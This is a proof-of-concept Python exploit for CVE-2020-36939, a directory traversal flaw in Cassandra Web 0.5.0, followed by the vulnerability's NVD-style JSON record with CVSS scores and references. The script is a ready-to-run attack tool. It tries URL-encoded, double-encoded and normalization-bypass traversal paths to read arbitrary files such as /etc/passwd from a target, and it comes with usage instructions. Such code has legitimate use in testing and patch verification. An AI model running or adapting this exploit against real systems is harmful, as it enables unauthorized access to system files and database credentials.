CVE-2020-36939

# CVE-2020-36939 PoC - Cassandra Web Directory Traversal import requests import sys def exploit_cassandra_web(target_url, file_to_read): """ Exploit for CVE-2020-36939 - Cassandra Web Path Traversal Args: target_url: Base URL of vulnerable Cassandra Web instance file_to_read: Absolute path of file to read on target system """ # Encode path traversal sequences encoded_payload = file_to_read.replace('/', '%2F').replace('.', '%2E') # Method 1: Using URL encoding url1 = f"{target_url}/..%2F..%2F..%2F{encoded_payload}" # Method 2: Using double encoding url2 = f"{target_url}/..%252F..%252F..%252F{encoded_payload}" # Method 3: Using path normalization bypass url3 = f"{target_url}/static/../../{encoded_payload}" urls_to_try = [url1, url2, url3] for url in urls_to_try: try: print(f"[*] Trying: {url}") response = requests.get(url, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[!] Success! File content:") print(response.text) return True elif response.status_code == 200: print(f"[*] Received empty response, trying next method") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2020-36939.py <target_url> <file_path>") print("Example: python cve-2020-36939.py http://target.com:3000 /etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] print(f"[*] Exploiting CVE-2020-36939 on {target}") print(f"[*] Attempting to read: {file_path}") if not exploit_cassandra_web(target, file_path): print("[-] Exploitation failed - target may not be vulnerable")

{"cve": {"id": "CVE-2020-36939", "sourceIdentifier": "[email protected]", "published": "2026-01-27T16:16:11.120", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cassandra Web 0.5.0 contains a directory traversal vulnerability that allows unauthenticated attackers to read arbitrary files by manipulating path traversal parameters. Attackers can exploit the disabled Rack::Protection module to read sensitive system files like /etc/passwd and retrieve Apache Cassandra database credentials."}, {"lang": "es", "value": "Cassandra Web 0.5.0 contiene una vulnerabilidad de salto de directorio que permite a atacantes no autenticados leer archivos arbitrarios manipulando parámetros de salto de ruta. Los atacantes pueden explotar el módulo Rack::Protection deshabilitado para leer archivos de sistema sensibles como /etc /passwd y recuperar credenciales de la base de datos de Apache Cassandra."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/avalanche123/cassandra-web", "source": "[email protected]"}, {"url": "https://rubygems.org/gems/cassandra-web/versions/0.5.0", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49362", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/cassandra-web-remote-file-read", "source": "[email protected]"}]}}